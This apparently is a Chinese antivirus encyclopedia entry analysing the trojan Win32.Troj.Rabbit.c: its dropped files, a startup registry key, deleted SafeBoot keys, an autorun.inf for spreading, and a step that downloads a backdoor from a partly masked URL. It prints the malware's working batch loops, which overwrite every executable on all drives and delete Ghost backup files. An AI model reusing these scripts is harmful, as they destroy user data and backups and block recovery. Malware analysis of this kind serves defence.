Win32.Troj.Rabbit.c
病毒名称(中文):
病毒别名:
威胁级别:
★☆☆☆☆
病毒类型:
木马程序
病毒长度:
192099
影响系统:
Win9xWinMeWinNTWin2000WinXPWin2003
病毒行为:
该病毒是一个木马。该病毒会直接替换系统盘programfiles和其他盘目录下的exe文件文件和删除gho备份文件，同时该病毒还有下载并运行一灰鸽子病毒。
1、生成的文件
%SystemRoot%\system32\loveRabbit~.exe
%SystemRoot%\system32\MS006TZ.dll.exe
%SystemRoot%\system32\Rabbit.exe
%SystemRoot%\ILTZ.bat
%SystemRoot%\IOTZ.bat
%SystemRoot%\DLL.bat
%SystemRoot%\GHO.bat
%SystemRoot%\ILTZ.inf
%SystemRoot%\system32\JK~.exe
%SystemRoot%\system32\msexch400.dll
%SystemRoot%\system32\sha~.bat
%C:%\Rabbit.exe
%C:%\AutoRun.inf
2、添加启动项
HKLM\SOFTWARE\Microsoft\ActiveSetup\InstalledComponents\{4bf41072-b2b1-21c1-b5c1-0305f4155515}"StubPath"="%SystemRoot%\system32\JK~.exe"
3、删除以下键：
SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}
SYSTEM\CurrentControlSet\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}
4、执行%SystemRoot%\ILTZ.bat文件，将d到z盘的exe文件路径记录在ILTZ.inf文件，将c盘到z盘的ghost备份文件路径记录到GHO.inf文件和将系统盘下programfiles目录下的exe文件路径记录在IOTZ.inf文件
---------------------------------------------------------
set/Ar=%random%
FOR%%ain(d:e:f:g:h:i:j:k:l:m:n:o:p:q:r:s:t:u:v:w:s:y:z:)dodir/s/b%%a\*.exe>>%windir%\ILTZ.inf
FOR%%ain(c:d:e:f:g:h:i:j:k:l:m:n:o:p:q:r:s:t:u:v:w:s:y:z:)dodir/a:-/b%%a\*.gho>>%windir%\GHO.inf
cd%windir%
cd..
cdProgramFiles
dir*.exe/s/b>>%windir%\IOTZ.inf
IOTZ.bat
GHO.bat
----------------------------------------------------------
5、执行GHO.bat，IOTZ.bat文件删除GHO.inf里指定的路径的gho文件和替换ILTZ.inf，IOTZ.inf指定路径的exe文件
GHO.bat>
----------------------------------------------------------------
FOR/f"delims="%%iin(%windir%\GHO.inf)dodel/a:-"%%i"
----------------------------------------------------------------
IOTZ.bat>
------------------------------------------------------------------------------------------
FOR/f"delims="%%iin(%windir%\ILTZ.inf)docopy/y%windir%\system32\Rabbit.exe"%%i"
FOR/f"delims="%%iin(%windir%\IOTZ.inf)docopy/y%windir%\system32\Rabbit.exe"%%i"
------------------------------------------------------------------------------------------
6、在c，d，e，f，g，h盘里生成autorun启动
------------------------------------
[autorun]
Label=本地磁盘
Shellexecute=Rabbit.exe
------------------------------------
7、下载并执行http://www.beecool.***/help.htm脚本，该脚本会下执行载最新版变种和一灰鸽子木马。
